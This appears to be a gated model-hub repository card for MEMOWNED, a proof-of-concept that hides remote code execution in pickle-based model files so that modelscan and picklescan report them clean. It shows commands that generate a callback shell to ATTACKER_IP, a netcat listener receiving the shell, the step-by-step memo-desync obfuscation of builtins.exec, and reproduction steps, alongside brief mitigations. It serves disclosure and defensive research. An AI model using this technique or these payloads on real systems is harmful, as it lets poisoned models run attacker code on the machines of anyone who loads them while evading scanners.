You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

This repository contains a proof-of-concept for a pickle scanner bypass vulnerability (MEMOWNED). It is intended for authorized security research only. By requesting access you confirm you will use this material solely for defensive security research, responsible disclosure, or educational purposes.

Log in or Sign Up to review the conditions and access this model content.

MEMOWNED β€” Remote Code Execution via Pickle Memo Desync (Undetectable by All Current Scanners)

RCE Demo

# Generate a callback shell payload β€” scanners see nothing
$ python3 pytorch_memo_desync_poc.py generate --lhost 127.0.0.1 --lport 4444 -o model.pt
[*] Payload: callback shell β†’ 127.0.0.1:4444
[*] Pickle:  314 bytes, zero dangerous strings
[+] Written: model.pt (1333 bytes)

# Both scanners report CLEAN
$ modelscan -p model.pt   β†’  No issues found
$ picklescan -p model.pt  β†’  Infected files: 0, Dangerous globals: 0

# Victim loads the "model"
$ python3 victim_load.py model.pt

# Attacker's listener
$ nc -lvnp 4444
Connection from 127.0.0.1
$ id
uid=1000(dyn) gid=1000(dyn) groups=1000(dyn),4(adm),27(sudo),983(docker)

What is this?

A proof-of-concept demonstrating MEMOWNED, a novel pickle obfuscation technique that achieves arbitrary code execution while passing all current pickle security scanners as CLEAN β€” even when they successfully parse the pickle bytecode.

The Technique

MEMOWNED exploits a fundamental desync between how Python's pickle unpickler and security scanners handle the BINPUT/BINGET memo opcodes:

  1. Dangerous callable names (builtins, exec) are encoded as UTF-16-LE bytes
  2. At runtime, codecs.decode decodes them and BINPUT stores them in the memo table
  3. Scanners record None in the memo (REDUCE has no opcode argument)
  4. BINGET retrieves the names from memo, STACK_GLOBAL resolves builtins.exec
  5. Scanner sees (None, None) β€” no denylist match β€” reports CLEAN
  6. Runtime executes arbitrary code

Files

File Description
model.pt Pre-built MEMOWNED payload (executes echo MEMOWNED_RCE)
pytorch_memo_desync_poc.py Full PoC β€” generate payloads, scan, load
victim_load.py Minimal victim script β€” just torch.load()

Reproduction

Verify scanners report clean

pip install modelscan picklescan
modelscan -p model.pt
picklescan -p model.pt

Trigger execution

python3 victim_load.py model.pt

Generate custom payload

# Proof of execution
python3 pytorch_memo_desync_poc.py generate --full-test

# Custom command
python3 pytorch_memo_desync_poc.py generate --cmd "id" -o model.pt

# Callback shell
python3 pytorch_memo_desync_poc.py generate --lhost ATTACKER_IP --lport 4444 -o model.pt

Root Cause

modelscan (tools/picklescanner.py line 81-82):

memo[op_value] = ops[n - 1][1]  # stores opcode ARGUMENT, not runtime VALUE

For REDUCE, the opcode argument is None (inputs come from the stack). The scanner stores None in memo while the runtime stores the actual computed string. When BINGET later retrieves the value and passes it to STACK_GLOBAL, the scanner resolves (None, None) β€” matching nothing on the denylist.

Impact

  • Bypasses modelscan, picklescan, ClamAV, and YARA rules
  • Works in .pt, .pkl, .joblib, .npy, any pickle container
  • Zero dangerous strings at rest in the file
  • torch.load() returns a valid OrderedDict β€” no errors or warnings

Affected

Any application calling torch.load(f, weights_only=False), joblib.load(), pickle.load(), np.load(allow_pickle=True), or pd.read_pickle().

Mitigation

  • Use torch.load(f, weights_only=True) (default since PyTorch 2.6)
  • Convert models to SafeTensors format
  • Do not trust scanner results as proof of safety for pickle files
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support